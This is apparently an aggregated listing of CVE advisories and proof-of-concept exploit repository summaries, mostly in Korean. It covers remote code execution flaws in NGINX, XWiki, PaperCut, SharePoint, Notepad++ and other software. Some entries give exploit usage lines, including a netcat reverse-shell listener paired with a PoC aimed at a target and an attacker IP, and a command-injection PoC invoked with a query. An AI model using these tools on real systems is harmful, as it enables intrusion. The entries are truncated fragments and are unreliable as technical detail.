CLEANSTART-2025-YZ19947 .NET and Visual Studio Remote Code Execution Vulnerability

CVE-2023-35390 affects multiple packages. . See references for individual vulnerability details...

fix_nginx_cve_2026_42945

NGINX CVE-2026-42945 원클릭 복구 스크립트 자동으로 시스템 배포판을 감지하여 NGINX를 수정 버전≥1.30.1으로 업그레이드하고, 설정을 백업하며 자동 롤백을 수행합니다. 취약점 설명 취약점 번호： CVE-2026-42945 취약점 이름：NGINX Rift NGINX가 특정 rewrite 리디렉션 규칙을 처리할 때 요청 콘텐츠 길이 계산이 실제 쓰기와 일치하지 않습니다. 공격자는 악의적인 요청을 구성하여 메모리 손상을 유발하고, 작업자 프로세스를 충돌시키거나 원격 코드 실행을 초래할 수 있습니다. 영향받는 버...

CVE-2025-24893

CVE-2025-24893 XWiki RCE 취약점 분석 환경 구축 1. XWiki 15.10.10 환경 실행 docker-compose up -d 2. XWiki 접속 URL: http://localhost:8080 초기 설정을 완료한 후 테스트 진행 초기 페이지 접속 후 관리자 계정 생생 xwiki 기본 extension 설치 사용자 script 권한 부여여 취약점 정보 CVE ID : CVE-2025-24893 제품 : XWiki Platform 버전 : 15.10.10 취약점 유형 : Remote Code...

CVE-2024-48990

CVE-2024-48990 !WARNING 이 파일과 정보는 교육 목적으로만 제공됩니다. 저자는 어떠한 악의적인 행위에 대해서도 책임을 지지 않습니다. 제공되는 모든 정보는 어떠한 종류의 범죄나 악용을 선동하기 위한 것이 아닙니다. 설명 Qualys는 needrestart 3.8 이전 버전에서 로컬 공격자가 공격자가 제어하는 PYTHONPATH 환경 변수로 Python 인터프리터를 실행하도록 needrestart를 속여 루트 권한으로 임의 코드를 실행할 수 있음을 발견했습니다. 공식 세부 정보는 NIST에서 확인하세요. PoC...

CVE-2023-32571

🐞 CVE-2023-32571 - System.Linq.Dynamic.Core Remote Code Execution Proof of Concept for CVE-2023-32571, a remote code execution vulnerability in System.Linq.Dynamic.Core 1.0.7.10 to 1.2.25. This vulnerability allows attackers to execute arbitrary code and commands when untrusted input to methods...

CVE-2026-103531

A flaw was found in OpenSC. A stack-based buffer overflow vulnerability exists in the SetCOS smart card driver during the handling of file control information in the setcosconstructfci44 function. By supplying manipulated card attributes, an attacker could trigger memory corruption, potentially...

React2Shell

React2Shell 📌 React2Shell CVE-2025-55182 React2Shell은 React Server Components RSC 및 Next.js와 같은 관련 프레임워크에 영향을 미치는 중요한 원격 코드 실행 RCE 취약점에 붙여진 비공식 명칭입니다. 그 심각성과 잠재적 영향으로 인해 웹 개발 및 보안 커뮤니티에서 주요 관심사가 되었습니다. react2shell.com +1 🧠 1. React2Shell이란 무엇인가? 이름: React2Shell CVE ID: CVE-2025-55182 중복된 Next.js...

CVE-2023-3722

CVE-2023-3722 CVE-2023-3722 Avaya Aura Device Services 무제한 파일 업로드 RCE에 대한 Python POC입니다. 이 스크립트는 PUT 요청을 사용하여 8자리 무작위 생성 파일 이름으로 PHP 파일을 업로드합니다. 그런 다음 GET 요청을 통해 이 파일을 검색하고 출력을 파싱하여 명령 출력을 얻습니다. 실행 python3 ./CVE-2023-3722.py example.com:444 --query "id" python3 ./CVE-2023-3722.py example.com:444...

CVE-2025-24893

CVE-2025-24893 – XWiki 원격 코드 실행 RCE 개요 CVE-2025-24893 는 널리 사용되는 오픈소스 엔터프라이즈 위키 플랫폼인 XWiki 에서 발견된 심각한 수준의 인증되지 않은 원격 코드 실행RCE 취약점입니다. 이 결함은 SolrSearch 매크로에 존재하며, 검색 쿼리에 포함된 Groovy 표현식을 부적절하게 평가합니다. 이 취약점으로 인해 원격의 인증되지 않은 공격자 가 서버에서 임의의 Groovy 코드를 실행하여 영향을 받는 시스템에 대한 완전한 제어권을 얻을 수 있습니다. 취약점 세부 정보 C...

CVE-2023-27350

PaperCut NG/MG RCE CVE-2023-27350 CVE-2023-27350을 위한 간편한 Bash 익스플로잇입니다. 이 스크립트는 PaperCut 프린터 스크립팅 엔진을 통한 인증 우회, 환경 준비 및 명령어 주입을 자동화합니다. 시각적 증명 기본 rce: 리버스 셸 트리거: 빠른 시작 Clone the repository git clone https://github.com/dezso-dfield/CVE-2023-27350.git Enter the directory cd CVE-2023-27350 Make the...

OurSharePoint-CVE-2025-53770

OurSharePoint — CVE-2025-53770 PoC Self-contained, single-binary SharePoint RCE tool. Generates a TypeConfuseDelegate gadget chain as raw MS-NRBF bytes no ysoserial.exe, wraps it in a DataSet deserialization payload, and delivers it over HTTP using the authentication bypass — all in one shot...

CVE-2026-38526-PoC-htb-nexus

CVE-2026-38526-PoC-htb-nexus A PoC script for CVE-2026-38526, RCE via a file upload vulnerability in the /admin/tinymce/upload endpoint of webkul krayin 2.2.x built for htb-nexus 🛠 Quick start and Usage 1. Clone the repository: git clone https://github.com/Resolvdd/CVE-2026-38526-PoC-htb-nexus.gi...

CVE-2025-55182-test

React2shell PoC - CVE-2025-66478 This repository contains a React/Next.js proof-of-concept project for CVE-2025-66478. Project Layout my-cve-2025-66478-app/ - Next.js app used for the React2shell PoC Tech Stack Next.js 16.0.6 React 19.2.0 TypeScript Tailwind CSS v4 Getting Started 1. Go to the ap...

Armatura LLC Armatura One

ADVISORY SUMMARY Successful exploitation of these vulnerabilities could allow an attacker to gain unauthorized access to the database, execute arbitrary code on the host with the highest level of privilege, or gain control of the physical access-control system. 2. RECOMMENDED PRACTICES CISA...

CVE-2025-69985

CVE-2025-69985: FUXA ≤1.2.8에서 인증 우회를 통한 RCE 익스플로잇 📌 개요 이 저장소에는 FUXA버전 ≤1.2.8에 영향을 미치는 취약점 CVE-2025-69985 에 대한 개념 증명PoC 및 상세 기술 문서가 포함되어 있습니다. 이 취약점은 비인증 공격자가 애플리케이션 미들웨어의 인증 우회 를 통해 서버에서 임의의 명령을 실행RCE 할 수 있게 합니다. Windows의 전통적인 메모리 오버플로우와 같은 취약점과 달리, 이 결함은 미들웨어의 논리적 결함 에 있으며, 서버가 Referer 헤더의 잘못된...

CVE-2026-42945

CVE-2026-42945: NGINX Rift 힙 버퍼 오버플로 취약점 개요 CVE-2026-42945는 "NGINX Rift"로 알려진 NGINX 서버의 심각한 힙 버퍼 오버플로 취약점입니다. 이 취약점은 NGINX의 rewrite 및 set 지시문 처리 로직에 존재하며, 특정 구성 조건이 충족되면 공격자는 악의적인 요청을 구성하여 힙 오버플로를 유발하고 서비스 거부DoS 또는 잠재적인 원격 코드 실행RCE까지 초래할 수 있습니다. 취약점 유형 : 힙 버퍼 오버플로 위험 등급 : 고위험 CVE ID :...

CVE-2025-5548

🛡️ 분석 및 익스플로잇: CVE-2025-5548 사이버보안 석사 | 모듈 6: 취약점 👋 안녕하세요! 내 분석 워크숍에 오신 것을 환영합니다 이 저장소에서는 바이너리 수준의 취약점 분석 및 Windows 환경을 위한 익스플로잇 개발에 대한 실제적인 몰입을 문서화합니다. 이 실험실의 주요 목표는 CVE-2025-5548 을 익스플로잇하여 메모리 손상 오류스택 버퍼 오버플로우의 초기 발견부터 원격 코드 실행RCE까지의 기술적 방법론을 내재화하는 것입니다. 단순히 도구를 실행하는 것이 아니라 메모리가 어떻게 손상되는지, 실행...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

on kali linux - terminal 1 nc -lvnp 4444 on kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2026-39292

CVE-2026-39292 – Falco Solutions PHPPageBuilder v0.31.0에서 임의 파일 업로드로 인한 RCE 요약: pagemanager/pagebuilder 모듈의 파일 업로드 취약점으로 인해 인증되었거나 인증되지 않은 공격자가 임의의 파일을 업로드하여 원격 코드 실행을 유발할 수 있습니다. 영향받는 버전: PHPPageBuilder v0.31.0 영향: 원격 코드 실행 공급업체: Falco Solutions 크레딧: Krishnadev P Melevila가 발견...

CVE-2026-48778-PoC

CVE-2026-48778 — Notepad++ 임의 코드 실행 PoC 심각도: 높음 CVSS 7.8 | 영향: Notepad++ ≤ 8.9.6 | 패치 버전: v8.9.6.1 CVE-2026-48778에 대한 PoC 스크립트로, Notepad++ ≤ 8.9.6에서의 임의 코드 실행 취약점입니다. 전체 기술 세부사항은 공식 보안 권고를 참조하세요. 사용법 python cve-2026-48778.py 트리거 실행 후: 파일 → 포함 폴더 열기 → cmd 예상 결과: calc.exe가 cmd 대신 실행됩니다. 작성자 Kavin...